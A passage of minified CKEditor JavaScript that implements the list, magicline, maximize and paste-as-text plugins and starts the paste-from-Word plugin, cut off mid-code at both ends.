a=1==r.length&&r[0];(n=a&&a.getEnclosedNode())&&n.is&&this.type==n.getName()&&this.setState(CKEDITOR.TRISTATE_ON)}else n.enterMode==CKEDITOR.ENTER_BR?l.appendBogus():r[0].fixBlock(1,n.enterMode==CKEDITOR.ENTER_P?"p":"div"),o.selectRanges(r);n=o.createBookmarks(!0);for(var l=[],c={},u=(r=r.createIterator(),0);(a=r.getNextRange())&&++u;){var m=(I=a.getBoundaryNodes()).startNode,f=I.endNode;for(m.type==CKEDITOR.NODE_ELEMENT&&"td"==m.getName()&&a.setStartAt(I.startNode,CKEDITOR.POSITION_AFTER_START),f.type==CKEDITOR.NODE_ELEMENT&&"td"==f.getName()&&a.setEndAt(I.endNode,CKEDITOR.POSITION_BEFORE_END),(a=a.createIterator()).forceBrBreak=this.state==CKEDITOR.TRISTATE_OFF;I=a.getNextParagraph();)if(!I.getCustomData("list_block")){CKEDITOR.dom.element.setMarker(c,I,"list_block",1),m=(g=t.elementPath(I)).elements,f=0;for(var E,g=g.blockLimit,T=m.length-1;0<=T&&(E=m[T]);T--)if(s[E.getName()]&&g.contains(E)){g.removeCustomData("list_group_object_"+u),(m=E.getCustomData("list_group_object"))?m.contents.push(I):(m={root:E,contents:[I]},l.push(m),CKEDITOR.dom.element.setMarker(c,E,"list_group_object",m)),f=1;break}f||((f=g).getCustomData("list_group_object_"+u)?f.getCustomData("list_group_object_"+u).contents.push(I):(m={root:f,contents:[I]},CKEDITOR.dom.element.setMarker(c,f,"list_group_object_"+u,m),l.push(m)))}}for(E=[];0<l.length;)if(m=l.shift(),this.state==CKEDITOR.TRISTATE_OFF)if(s[m.root.getName()]){for(r=t,u=m,m=c,a=E,f=CKEDITOR.plugins.list.listToArray(u.root,m),g=[],I=0;I<u.contents.length;I++)(T=(T=u.contents[I]).getAscendant("li",!0))&&!T.getCustomData("list_item_processed")&&(g.push(T),CKEDITOR.dom.element.setMarker(m,T,"list_item_processed",!0));T=u.root.getDocument();for(var p=void 0,C=void 0,I=0;I<g.length;I++){var O=g[I].getCustomData("listarray_index");(p=f[O].parent).is(this.type)||(C=T.createElement(this.type),p.copyAttributes(C,{start:1,type:1}),C.removeStyle("list-style-type"),f[O].parent=C)}for(m=CKEDITOR.plugins.list.arrayToList(f,m,null,r.config.enterMode),f=void 0,g=m.listNode.getChildCount(),I=0;I<g&&(f=m.listNode.getChild(I));I++)f.getName()==this.type&&a.push(f);m.listNode.replace(u.root),r.fire("contentDomInvalidated")}else{for(f=t,a=E,g=(I=m).contents,r=I.root.getDocument(),u=[],1==g.length&&g[0].equals(I.root)&&(m=r.createElement("div"),g[0].moveChildren&&g[0].moveChildren(m),g[0].append(m),g[0]=m),I=I.contents[0].getParent(),T=0;T<g.length;T++)I=I.getCommonAncestor(g[T].getParent());for(p=f.config.useComputedState,f=m=void 0,p=void 0===p||p,T=0;T<g.length;T++)for(C=g[T];O=C.getParent();){if(O.equals(I)){u.push(C),!f&&C.getDirection()&&(f=1),C=C.getDirection(p),null!==m&&(m=m&&m!=C?null:C);break}C=O}if(!(1>u.length)){for(g=u[u.length-1].getNext(),T=r.createElement(this.type),a.push(T),p=a=void 0;u.length;)a=u.shift(),p=r.createElement("li"),a.is("pre")||h.test(a.getName())||"false"==a.getAttribute("contenteditable")?a.appendTo(p):(a.copyAttributes(p),m&&a.getDirection()&&(p.removeStyle("direction"),p.removeAttribute("dir")),a.moveChildren(p),a.remove()),p.appendTo(T);m&&f&&T.setAttribute("dir",m),g?T.insertBefore(g):T.appendTo(I)}}else this.state==CKEDITOR.TRISTATE_ON&&s[m.root.getName()]&&e.call(this,t,m,c);for(T=0;T<E.length;T++)i(E[T]);CKEDITOR.dom.element.clearAllMarkers(c),o.selectBookmarks(n),t.focus()},refresh:function(e,t){var n=t.contains(s,1),i=t.blockLimit||t.root;n&&i.contains(n)?this.setState(n.is(this.type)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_OFF)}},CKEDITOR.plugins.add("list",{requires:"indentlist",init:function(e){e.blockless||(e.addCommand("numberedlist",new t("numberedlist","ol")),e.addCommand("bulletedlist",new t("bulletedlist","ul")),e.ui.addButton&&(e.ui.addButton("NumberedList",{label:e.lang.list.numberedlist,command:"numberedlist",directional:!0,toolbar:"list,10"}),e.ui.addButton("BulletedList",{label:e.lang.list.bulletedlist,command:"bulletedlist",directional:!0,toolbar:"list,20"})),e.on("key",(function(t){var n=t.data.keyCode;if("wysiwyg"==e.mode&&n in{8:1,46:1}){var i=e.getSelection().getRanges()[0],l=i&&i.startPath();if(i&&i.collapsed){l=new CKEDITOR.dom.elementPath(i.startContainer);var c,h,m=8==n,f=e.editable(),E=new CKEDITOR.dom.walker(i.clone());E.evaluator=function(e){return d(e)&&!u(e)},E.guard=function(e,t){return!(t&&e.type==CKEDITOR.NODE_ELEMENT&&e.is("table"))},n=i.clone(),m?((c=l.contains(s))&&i.checkBoundaryOfElement(c,CKEDITOR.START)&&(c=c.getParent())&&c.is("li")&&(c=a(c))?(h=c,c=c.getPrevious(d),n.moveToPosition(c&&u(c)?c:h,CKEDITOR.POSITION_BEFORE_START)):(E.range.setStartAt(f,CKEDITOR.POSITION_AFTER_START),E.range.setEnd(i.startContainer,i.startOffset),(c=E.previous())&&c.type==CKEDITOR.NODE_ELEMENT&&(c.getName()in s||c.is("li"))&&(c.is("li")||(E.range.selectNodeContents(c),E.reset(),E.evaluator=o,c=E.previous()),h=c,n.moveToElementEditEnd(h))),h?(r(e,n,i),t.cancel()):(n=l.contains(s))&&i.checkBoundaryOfElement(n,CKEDITOR.START)&&(h=n.getFirst(d),i.checkBoundaryOfElement(h,CKEDITOR.START)&&(c=n.getPrevious(d),a(h)?c&&(i.moveToElementEditEnd(c),i.select()):e.execCommand("outdent"),t.cancel()))):(h=l.contains("li"))?(E.range.setEndAt(f,CKEDITOR.POSITION_BEFORE_END),f=(l=h.getLast(d))&&o(l)?l:h,h=0,(c=E.next())&&c.type==CKEDITOR.NODE_ELEMENT&&c.getName()in s&&c.equals(l)?(h=1,c=E.next()):i.checkBoundaryOfElement(f,CKEDITOR.END)&&(h=1),h&&c&&((i=i.clone()).moveToElementEditStart(c),r(e,n,i),t.cancel())):(E.range.setEndAt(f,CKEDITOR.POSITION_BEFORE_END),(c=E.next())&&c.type==CKEDITOR.NODE_ELEMENT&&c.is(s)&&(c=c.getFirst(d),l.block&&i.checkStartOfBlock()&&i.checkEndOfBlock()?(l.block.remove(),i.moveToElementEditStart(c),i.select()):a(c)?(i.moveToElementEditStart(c),i.select()):((i=i.clone()).moveToElementEditStart(c),r(e,n,i)),t.cancel())),setTimeout((function(){e.selectionChange(1)}))}}})))}})}(),function(){function e(e,t,n){return d(t)&&d(n)&&n.equals(t.getNext((function(e){return!(U(e)||V(e)||u(e))})))}function t(e){this.upper=e[0],this.lower=e[1],this.set.apply(this,e.slice(2))}function n(e){var t=e.element;if(t&&d(t)&&(t=t.getAscendant(e.triggers,!0))&&e.editable.contains(t)){var n=r(t,!0);if("true"==n.getAttribute("contenteditable"))return t;if(n.is(e.triggers))return n}return null}function i(e,t,n){return p(e,t),p(e,n),e=t.size.bottom,n=n.size.top,e&&n?0|(e+n)/2:e||n}function o(e,t,n){return t[n?"getPrevious":"getNext"]((function(t){return t&&t.type==CKEDITOR.NODE_TEXT&&!U(t)||d(t)&&!u(t)&&!c(e,t)}))}function r(e,t){if(e.data("cke-editable"))return null;for(t||(e=e.getParent());e&&!e.data("cke-editable");){if(e.hasAttribute("contenteditable"))return e;e=e.getParent()}return null}function a(e){var t=e.doc,n=R('<span contenteditable="false" style="'+H+"position:absolute;border-top:1px dashed "+e.boxColor+'"></span>',t),i=this.path+"images/"+(v.hidpi?"hidpi/":"")+"icon.png";for(O(n,{attach:function(){return this.wrap.getParent()||this.wrap.appendTo(e.editable,!0),this},lineChildren:[O(R('<span title="'+e.editor.lang.magicline.title+'" contenteditable="false">↵</span>',t),{base:H+"height:17px;width:17px;"+(e.rtl?"left":"right")+":17px;background:url("+i+") center no-repeat "+e.boxColor+";cursor:pointer;"+(v.hc?"font-size: 15px;line-height:14px;border:1px solid #fff;text-align:center;":"")+(v.hidpi?"background-size: 9px 10px;":""),looks:["top:-8px;"+CKEDITOR.tools.cssVendorPrefix("border-radius","2px",1),"top:-17px;"+CKEDITOR.tools.cssVendorPrefix("border-radius","2px 2px 0px 0px",1),"top:-1px;"+CKEDITOR.tools.cssVendorPrefix("border-radius","0px 0px 2px 2px",1)]}),O(R(z,t),{base:q+"left:0px;border-left-color:"+e.boxColor+";",looks:["border-width:8px 0 8px 8px;top:-8px","border-width:8px 0 0 8px;top:-8px","border-width:0 0 8px 8px;top:0px"]}),O(R(z,t),{base:q+"right:0px;border-right-color:"+e.boxColor+";",looks:["border-width:8px 8px 8px 0;top:-8px","border-width:8px 8px 0 0;top:-8px","border-width:0 8px 8px 0;top:0px"]})],detach:function(){return this.wrap.getParent()&&this.wrap.remove(),this},mouseNear:function(){p(e,this);var t=e.holdDistance,n=this.size;return!!(n&&e.mouse.y>n.top-t&&e.mouse.y<n.bottom+t&&e.mouse.x>n.left-t&&e.mouse.x<n.right+t)},place:function(){var t=e.view,n=e.editable,i=e.trigger,o=i.upper,r=i.lower,a=o||r,s=a.getParent(),l={};for(var c in this.trigger=i,o&&p(e,o,!0),r&&p(e,r,!0),p(e,s,!0),e.inInlineMode&&C(e,!0),s.equals(n)?(l.left=t.scroll.x,l.right=-t.scroll.x,l.width=""):(l.left=a.size.left-a.size.margin.left+t.scroll.x-(e.inInlineMode?t.editable.left+t.editable.border.left:0),l.width=a.size.outerWidth+a.size.margin.left+a.size.margin.right+t.scroll.x,l.right=""),o&&r?l.top=o.size.margin.bottom===r.size.margin.top?0|o.size.bottom+o.size.margin.bottom/2:o.size.margin.bottom<r.size.margin.top?o.size.bottom+o.size.margin.bottom:o.size.bottom+o.size.margin.bottom-r.size.margin.top:o?r||(l.top=o.size.bottom+o.size.margin.bottom):l.top=r.size.top-r.size.margin.top,i.is(S)||l.top>t.scroll.y-15&&l.top<t.scroll.y+5?(l.top=e.inInlineMode?0:t.scroll.y,this.look(S)):i.is(x)||l.top>t.pane.bottom-5&&l.top<t.pane.bottom+15?(l.top=e.inInlineMode?t.editable.height+t.editable.padding.top+t.editable.padding.bottom:t.pane.bottom-1,this.look(x)):(e.inInlineMode&&(l.top-=t.editable.top+t.editable.border.top),this.look(A)),e.inInlineMode&&(l.top--,l.top+=t.editable.scroll.top,l.left+=t.editable.scroll.left),l)l[c]=CKEDITOR.tools.cssLength(l[c]);this.setStyles(l)},look:function(e){if(this.oldLook!=e){for(var t,n=this.lineChildren.length;n--;)(t=this.lineChildren[n]).setAttribute("style",t.base+t.looks[0|e/2]);this.oldLook=e}},wrap:new D("span",e.doc)}),t=n.lineChildren.length;t--;)n.lineChildren[t].appendTo(n);n.look(A),n.appendTo(n.wrap),n.unselectable(),n.lineChildren[0].on("mouseup",(function(t){n.detach(),s(e,(function(t){var n=e.line.trigger;t[n.is(y)?"insertBefore":"insertAfter"](n.is(y)?n.lower:n.upper)}),!0),e.editor.focus(),!v.ie&&e.enterMode!=CKEDITOR.ENTER_BR&&e.hotNode.scrollIntoView(),t.data.preventDefault(!0)})),n.on("mousedown",(function(e){e.data.preventDefault(!0)})),e.line=n}function s(e,t,n){var i,o=new CKEDITOR.dom.range(e.doc),a=e.editor;v.ie&&e.enterMode==CKEDITOR.ENTER_BR?i=e.doc.createText(L):(i=(i=r(e.element,!0))&&i.data("cke-enter-mode")||e.enterMode,(i=new D(_[i],e.doc)).is("br")||e.doc.createText(L).appendTo(i)),n&&a.fire("saveSnapshot"),t(i),o.moveToPosition(i,CKEDITOR.POSITION_AFTER_START),a.getSelection().selectRanges([o]),e.hotNode=i,n&&a.fire("saveSnapshot")}function l(e,t){return{canUndo:!0,modes:{wysiwyg:1},exec:function(){function i(n){var i=v.ie&&9>v.version?" ":L,o=e.hotNode&&e.hotNode.getText()==i&&e.element.equals(e.hotNode)&&e.lastCmdDirection===!!t;s(e,(function(i){o&&e.hotNode&&e.hotNode.remove(),i[t?"insertAfter":"insertBefore"](n),i.setAttributes({"data-cke-magicline-hot":1,"data-cke-magicline-dir":!!t}),e.lastCmdDirection=!!t})),!v.ie&&e.enterMode!=CKEDITOR.ENTER_BR&&e.hotNode.scrollIntoView(),e.line.detach()}return function(a){var s,l;a=(a=a.getSelection().getStartElement()).getAscendant($,1),f(e,a)||!a||a.equals(e.editable)||a.contains(e.editable)||((s=r(a))&&"false"==s.getAttribute("contenteditable")&&(a=s),e.element=a,d(s=o(e,a,!t))&&s.is(e.triggers)&&s.is(P)&&(!o(e,s,!t)||(l=o(e,s,!t))&&d(l)&&l.is(e.triggers))?i(s):d(l=n(e))&&(o(e,l,!t)?(a=o(e,l,!t))&&d(a)&&a.is(e.triggers)&&i(l):i(l)))}}()}}function c(e,t){if(!t||t.type!=CKEDITOR.NODE_ELEMENT||!t.$)return!1;var n=e.line;return n.wrap.equals(t)||n.wrap.contains(t)}function d(e){return e&&e.type==CKEDITOR.NODE_ELEMENT&&e.$}function u(e){return!!d(e)&&((t=h(e))||(t=!!d(e)&&!(!(t={left:1,right:1,center:1})[e.getComputedStyle("float")]&&!t[e.getAttribute("align")])),t);var t}function h(e){return!!{absolute:1,fixed:1}[e.getComputedStyle("position")]}function m(e,t){return d(t)?t.is(e.triggers):null}function f(e,t){if(!t)return!1;for(var n=t.getParents(1),i=n.length;i--;)for(var o=e.tabuList.length;o--;)if(n[i].hasAttribute(e.tabuList[o]))return!0;return!1}function E(e){var n=e.editable,i=e.mouse,o=e.view,r=e.triggerOffset;C(e);var a=i.y>(e.inInlineMode?o.editable.top+o.editable.height/2:Math.min(o.editable.height,o.pane.height)/2);return(n=n[a?"getLast":"getFirst"]((function(e){return!(U(e)||V(e))})))?(c(e,n)&&(n=e.line.wrap[a?"getPrevious":"getNext"]((function(e){return!(U(e)||V(e))}))),d(n)&&!u(n)&&m(e,n)?(p(e,n),!a&&0<=n.size.top&&0<i.y&&i.y<n.size.top+r?(e=e.inInlineMode||0===o.scroll.y?S:A,new t([null,n,y,N,e])):a&&n.size.bottom<=o.pane.height&&i.y>n.size.bottom-r&&i.y<o.pane.height?(e=e.inInlineMode||n.size.bottom>o.pane.height-r&&n.size.bottom<o.pane.height?x:A,new t([n,null,k,N,e])):null):null):null}function g(e){var i=e.mouse,r=e.view,a=e.triggerOffset,s=n(e);if(!s)return null;p(e,s),a=Math.min(a,0|s.size.outerHeight/2);var l,c,h=[];if(i.y>s.size.top-1&&i.y<s.size.top+a)c=!1;else{if(!(i.y>s.size.bottom-a&&i.y<s.size.bottom+1))return null;c=!0}if(u(s)||function(e,t,n){return!!(t=t[n?"getLast":"getFirst"]((function(t){return e.isRelevant(t)&&!t.is(F)})))&&(p(e,t),n?t.size.top>e.mouse.y:t.size.bottom<e.mouse.y)}(e,s,c)||s.getParent().is(B))return null;var f=o(e,s,!c);if(f){if(f&&f.type==CKEDITOR.NODE_TEXT)return null;if(d(f)){if(u(f)||!m(e,f)||f.getParent().is(B))return null;h=[f,s][c?"reverse":"concat"]().concat([w,N])}}else s.equals(e.editable[c?"getLast":"getFirst"](e.isRelevant))?(C(e),c&&i.y>s.size.bottom-a&&i.y<r.pane.height&&s.size.bottom>r.pane.height-a&&s.size.bottom<r.pane.height?l=x:0<i.y&&i.y<s.size.top+a&&(l=S)):l=A,h=[null,s][c?"reverse":"concat"]().concat([c?k:y,N,l,s.equals(e.editable[c?"getLast":"getFirst"](e.isRelevant))?c?x:S:A]);return 0 in h?new t(h):null}function T(e,t,n,i){for(var o=function(){var n=v.ie?t.$.currentStyle:e.win.$.getComputedStyle(t.$,"");return v.ie?function(e){return n[CKEDITOR.tools.cssStyleToDomStyle(e)]}:function(e){return n.getPropertyValue(e)}}(),r=t.getDocumentPosition(),a={},s={},l={},c={},d=G.length;d--;)a[G[d]]=parseInt(o("border-"+G[d]+"-width"),10)||0,l[G[d]]=parseInt(o("padding-"+G[d]),10)||0,s[G[d]]=parseInt(o("margin-"+G[d]),10)||0;return(!n||i)&&I(e,i),c.top=r.y-(n?0:e.view.scroll.y),c.left=r.x-(n?0:e.view.scroll.x),c.outerWidth=t.$.offsetWidth,c.outerHeight=t.$.offsetHeight,c.height=c.outerHeight-(l.top+l.bottom+a.top+a.bottom),c.width=c.outerWidth-(l.left+l.right+a.left+a.right),c.bottom=c.top+c.outerHeight,c.right=c.left+c.outerWidth,e.inInlineMode&&(c.scroll={top:t.$.scrollTop,left:t.$.scrollLeft}),O({border:a,padding:l,margin:s,ignoreScroll:n},c,!0)}function p(e,t,n){if(!d(t))return t.size=null;if(t.size){if(t.size.ignoreScroll==n&&t.size.date>new Date-M)return null}else t.size={};return O(t.size,T(e,t,n),{date:+new Date},!0)}function C(e,t){e.view.editable=T(e,e.editable,t,!0)}function I(e,t){e.view||(e.view={});var n=e.view;if(t||!(n&&n.date>new Date-M)){n=(i=e.win).getScrollPosition();var i=i.getViewPaneSize();O(e.view,{scroll:{x:n.x,y:n.y,width:e.doc.$.documentElement.scrollWidth-i.width,height:e.doc.$.documentElement.scrollHeight-i.height},pane:{width:i.width,height:i.height,bottom:i.height+n.y},date:+new Date},!0)}}CKEDITOR.plugins.add("magicline",{init:function(e){var i,r,m,p=e.config,D=p.magicline_triggerOffset||30,R={editor:e,enterMode:p.enterMode,triggerOffset:D,holdDistance:0|D*(p.magicline_holdDistance||.5),boxColor:p.magicline_color||"#ff0000",rtl:"rtl"==p.contentsLangDirection,tabuList:["data-cke-hidden-sel"].concat(p.magicline_tabuList||[]),triggers:p.magicline_everywhere?$:{table:1,hr:1,div:1,ul:1,ol:1,dl:1,form:1,blockquote:1},isRelevant:function(e){return d(e)&&!c(R,e)&&!u(e)}};e.on("contentDom",(function(){var d=e.editable(),u=e.document,D=e.window;O(R,{editable:d,inInlineMode:d.isInline(),doc:u,win:D,hotNode:null},!0),R.boundary=R.inInlineMode?R.editable:R.doc.getDocumentElement(),d.is(K.$inline)||(R.inInlineMode&&!h(d)&&d.setStyles({position:"relative",top:null,left:null}),a.call(this,R),I(R),d.attachListener(e,"beforeUndoImage",(function(){R.line.detach()})),d.attachListener(e,"beforeGetData",(function(){R.line.wrap.getParent()&&(R.line.detach(),e.once("getData",(function(){R.line.attach()}),null,null,1e3))}),null,null,0),d.attachListener(R.inInlineMode?u:u.getWindow().getFrame(),"mouseout",(function(t){if("wysiwyg"==e.mode)if(R.inInlineMode){var n=t.data.$.clientX;t=t.data.$.clientY,I(R),C(R,!0);var i=R.view.editable,o=R.view.scroll;n>i.left-o.x&&n<i.right-o.x&&t>i.top-o.y&&t<i.bottom-o.y||(clearTimeout(m),m=null,R.line.detach())}else clearTimeout(m),m=null,R.line.detach()})),d.attachListener(d,"keyup",(function(){R.hiddenMode=0})),d.attachListener(d,"keydown",(function(t){if("wysiwyg"==e.mode)switch(t=t.data.getKeystroke(),e.getSelection().getStartElement(),t){case 2228240:case 16:R.hiddenMode=1,R.line.detach()}})),d.attachListener(R.inInlineMode?d:u,"mousemove",(function(t){if(r=!0,"wysiwyg"==e.mode&&!e.readOnly&&!m){var n={x:t.data.$.clientX,y:t.data.$.clientY};m=setTimeout((function(){R.mouse=n,m=R.trigger=null,I(R),r&&!R.hiddenMode&&e.focusManager.hasFocus&&!R.line.mouseNear()&&(R.element=j(R,!0))&&((R.trigger=E(R)||g(R)||W(R))&&!f(R,R.trigger.upper||R.trigger.lower)?R.line.attach().place():(R.trigger=null,R.line.detach()),r=!1)}),30)}})),d.attachListener(D,"scroll",(function(){"wysiwyg"==e.mode&&(R.line.detach(),v.webkit&&(R.hiddenMode=1,clearTimeout(i),i=setTimeout((function(){R.mouseDown||(R.hiddenMode=0)}),50)))})),d.attachListener(b?u:D,"mousedown",(function(){"wysiwyg"==e.mode&&(R.line.detach(),R.hiddenMode=1,R.mouseDown=1)})),d.attachListener(b?u:D,"mouseup",(function(){R.hiddenMode=0,R.mouseDown=0})),e.addCommand("accessPreviousSpace",l(R)),e.addCommand("accessNextSpace",l(R,!0)),e.setKeystroke([[p.magicline_keystrokePrevious,"accessPreviousSpace"],[p.magicline_keystrokeNext,"accessNextSpace"]]),e.on("loadSnapshot",(function(){var t,n,i,o;for(o in{p:1,br:1,div:1})for(i=(t=e.document.getElementsByTag(o)).count();i--;)if((n=t.getItem(i)).data("cke-magicline-hot"))return R.hotNode=n,void(R.lastCmdDirection="true"===n.data("cke-magicline-dir"))})),this.backdoor={accessFocusSpace:s,boxTrigger:t,isLine:c,getAscendantTrigger:n,getNonEmptyNeighbour:o,getSize:T,that:R,triggerEdge:g,triggerEditable:E,triggerExpand:W})}),this)}});var O=CKEDITOR.tools.extend,D=CKEDITOR.dom.element,R=D.createFromHtml,v=CKEDITOR.env,b=CKEDITOR.env.ie&&9>CKEDITOR.env.version,K=CKEDITOR.dtd,_={},y=128,k=64,w=32,N=16,S=4,x=2,A=1,L=" ",B=K.$listItem,F=K.$tableContent,P=O({},K.$nonEditable,K.$empty),$=K.$block,M=100,H="width:0px;height:0px;padding:0px;margin:0px;display:block;z-index:9999;color:#fff;position:absolute;font-size: 0px;line-height:0px;",q=H+"border-color:transparent;display:block;border-style:solid;",z="<span>"+L+"</span>";_[CKEDITOR.ENTER_BR]="br",_[CKEDITOR.ENTER_P]="p",_[CKEDITOR.ENTER_DIV]="div",t.prototype={set:function(e,t,n){return this.properties=e+t+(n||A),this},is:function(e){return(this.properties&e)==e}};var j=function(e,t,n){if(!e.mouse)return null;var i=e.doc,o=e.line.wrap,r=(n=n||e.mouse,new CKEDITOR.dom.element(i.$.elementFromPoint(n.x,n.y)));return t&&c(e,r)&&(o.hide(),r=new CKEDITOR.dom.element(i.$.elementFromPoint(n.x,n.y)),o.show()),!r||r.type!=CKEDITOR.NODE_ELEMENT||!r.$||v.ie&&9>v.version&&!e.boundary.equals(r)&&!e.boundary.contains(r)?null:r},U=CKEDITOR.dom.walker.whitespaces(),V=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_COMMENT),W=function(){function n(n){var r,a,s;if(!d(m=n.element)||m.contains(n.editable)||m.isReadOnly())return null;if(s=function(e,n,i,o){for(var r=o,a=o,s=0,l=!1,c=!1,d=e.view.pane.height,u=e.mouse;u.y+s<d&&0<u.y-s&&(l||(l=n(r,o)),c||(c=n(a,o)),!l&&0<u.y-s&&(r=i(e,{x:u.x,y:u.y-s})),!c&&u.y+s<d&&(a=i(e,{x:u.x,y:u.y+s})),!l||!c);)s+=2;return new t([r,a,null,null])}(n,(function(e,t){return!t.equals(e)}),(function(e,t){return j(e,!0,t)}),m),e(0,r=s.upper,a=s.lower))return s.set(w,8);if(r&&m.contains(r))for(;!r.getParent().equals(m);)r=r.getParent();else r=m.getFirst((function(e){return o(n,e)}));if(a&&m.contains(a))for(;!a.getParent().equals(m);)a=a.getParent();else a=m.getLast((function(e){return o(n,e)}));if(!r||!a)return null;if(p(n,r),p(n,a),!(n.mouse.y>r.size.top&&n.mouse.y<a.size.bottom))return null;for(var l,c,u,h,m=Number.MAX_VALUE;a&&!a.equals(r)&&(c=r.getNext(n.isRelevant));)(l=Math.abs(i(n,r,c)-n.mouse.y))<m&&(m=l,u=r,h=c),p(n,r=c);return u&&h&&n.mouse.y>u.size.top&&n.mouse.y<h.size.bottom?(s.upper=u,s.lower=h,s.set(w,8)):null}function o(e,t){return!(t&&t.type==CKEDITOR.NODE_TEXT||V(t)||u(t)||c(e,t)||t.type==CKEDITOR.NODE_ELEMENT&&t.$&&t.is("br"))}return function(t){var i,o=n(t);if(i=o){i=o.upper;var r=o.lower;i=!(!i||!r||u(r)||u(i)||r.equals(i)||i.equals(r)||r.contains(i)||i.contains(r)||!(m(t,i)&&m(t,r)&&e(0,i,r)))}return i?o:null}}(),G=["top","left","right","bottom"]}(),CKEDITOR.config.magicline_keystrokePrevious=CKEDITOR.CTRL+CKEDITOR.SHIFT+51,CKEDITOR.config.magicline_keystrokeNext=CKEDITOR.CTRL+CKEDITOR.SHIFT+52,function(){function e(e){if(!e||e.type!=CKEDITOR.NODE_ELEMENT||"form"!=e.getName())return[];for(var t=[],n=["style","className"],i=0;i<n.length;i++){var o=e.$.elements.namedItem(n[i]);o&&(o=new CKEDITOR.dom.element(o),t.push([o,o.nextSibling]),o.remove())}return t}function t(e,t){if(e&&e.type==CKEDITOR.NODE_ELEMENT&&"form"==e.getName()&&0<t.length)for(var n=t.length-1;0<=n;n--){var i=t[n][0],o=t[n][1];o?i.insertBefore(o):i.appendTo(e)}}function n(n,i){var o=e(n),r={},a=n.$;return i||(r.class=a.className||"",a.className=""),r.inline=a.style.cssText||"",i||(a.style.cssText="position: static; overflow: visible"),t(o),r}function i(n,i){var o=e(n),r=n.$;"class"in i&&(r.className=i.class),"inline"in i&&(r.style.cssText=i.inline),t(o)}function o(e){if(!e.editable().isInline()){var t,n=CKEDITOR.instances;for(t in n){var i=n[t];"wysiwyg"==i.mode&&!i.readOnly&&((i=i.document.getBody()).setAttribute("contentEditable",!1),i.setAttribute("contentEditable",!0))}e.editable().hasFocus&&(e.toolbox.focus(),e.focus())}}CKEDITOR.plugins.add("maximize",{init:function(e){function t(){var t=d.getViewPaneSize();e.resize(t.width,t.height,null,!0)}if(e.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var r,a,s,l=e.lang,c=CKEDITOR.document,d=c.getWindow(),u=CKEDITOR.TRISTATE_OFF;e.addCommand("maximize",{modes:{wysiwyg:!CKEDITOR.env.iOS,source:!CKEDITOR.env.iOS},readOnly:1,editorFocus:!1,exec:function(){var h=e.container.getChild(1),m=e.ui.space("contents");if("wysiwyg"==e.mode){var f=e.getSelection();r=f&&f.getRanges(),a=d.getScrollPosition()}else{var E=e.editable().$;r=!CKEDITOR.env.ie&&[E.selectionStart,E.selectionEnd],a=[E.scrollLeft,E.scrollTop]}if(this.state==CKEDITOR.TRISTATE_OFF){for(d.on("resize",t),s=d.getScrollPosition(),f=e.container;f=f.getParent();)f.setCustomData("maximize_saved_styles",n(f)),f.setStyle("z-index",e.config.baseFloatZIndex-5);m.setCustomData("maximize_saved_styles",n(m,!0)),h.setCustomData("maximize_saved_styles",n(h,!0)),m={overflow:CKEDITOR.env.webkit?"":"hidden",width:0,height:0},c.getDocumentElement().setStyles(m),!CKEDITOR.env.gecko&&c.getDocumentElement().setStyle("position","fixed"),(!CKEDITOR.env.gecko||!CKEDITOR.env.quirks)&&c.getBody().setStyles(m),CKEDITOR.env.ie?setTimeout((function(){d.$.scrollTo(0,0)}),0):d.$.scrollTo(0,0),h.setStyle("position",CKEDITOR.env.gecko&&CKEDITOR.env.quirks?"fixed":"absolute"),h.$.offsetLeft,h.setStyles({"z-index":e.config.baseFloatZIndex-5,left:"0px",top:"0px"}),h.addClass("cke_maximized"),t(),m=h.getDocumentPosition(),h.setStyles({left:-1*m.x+"px",top:-1*m.y+"px"}),CKEDITOR.env.gecko&&o(e)}else if(this.state==CKEDITOR.TRISTATE_ON){for(d.removeListener("resize",t),m=[m,h],f=0;f<m.length;f++)i(m[f],m[f].getCustomData("maximize_saved_styles")),m[f].removeCustomData("maximize_saved_styles");for(f=e.container;f=f.getParent();)i(f,f.getCustomData("maximize_saved_styles")),f.removeCustomData("maximize_saved_styles");CKEDITOR.env.ie?setTimeout((function(){d.$.scrollTo(s.x,s.y)}),0):d.$.scrollTo(s.x,s.y),h.removeClass("cke_maximized"),CKEDITOR.env.webkit&&(h.setStyle("display","inline"),setTimeout((function(){h.setStyle("display","block")}),0)),e.fire("resize")}this.toggleState(),(f=this.uiItems[0])&&(m=this.state==CKEDITOR.TRISTATE_OFF?l.maximize.maximize:l.maximize.minimize,(f=CKEDITOR.document.getById(f._.id)).getChild(1).setHtml(m),f.setAttribute("title",m),f.setAttribute("href",'javascript:void("'+m+'");')),"wysiwyg"==e.mode?r?(CKEDITOR.env.gecko&&o(e),e.getSelection().selectRanges(r),(E=e.getSelection().getStartElement())&&E.scrollIntoView(!0)):d.$.scrollTo(a.x,a.y):(r&&(E.selectionStart=r[0],E.selectionEnd=r[1]),E.scrollLeft=a[0],E.scrollTop=a[1]),r=a=null,u=this.state,e.fire("maximize",this.state)},canUndo:!1}),e.ui.addButton&&e.ui.addButton("Maximize",{label:l.maximize.maximize,command:"maximize",toolbar:"tools,10"}),e.on("mode",(function(){var t=e.getCommand("maximize");t.setState(t.state==CKEDITOR.TRISTATE_DISABLED?CKEDITOR.TRISTATE_DISABLED:u)}),null,null,100)}}})}(),a={canUndo:!1,async:!0,exec:function(e){e.getClipboardData({title:e.lang.pastetext.title},(function(t){t&&e.fire("paste",{type:"text",dataValue:t.dataValue}),e.fire("afterCommandExec",{name:"pastetext",command:a,returnValue:!!t})}))}},CKEDITOR.plugins.add("pastetext",{requires:"clipboard",init:function(e){e.addCommand("pastetext",a),e.ui.addButton&&e.ui.addButton("PasteText",{label:e.lang.pastetext.button,command:"pastetext",toolbar:"clipboard,40"}),e.config.forcePasteAsPlainText&&e.on("beforePaste",(function(e){"html"!=e.data.type&&(e.data.type="text")})),e.on("pasteState",(function(t){e.getCommand("pastetext").setState(t.data)}))}}),function(){function e(e){e.data.type="html"}CKEDITOR.plugins.add("pastefromword",{requires:"clipboard",init:function(t){var n=0,i=this.path;t.addCommand("pastefromword",{canUndo:!1,async:!0,exec:function(t){var 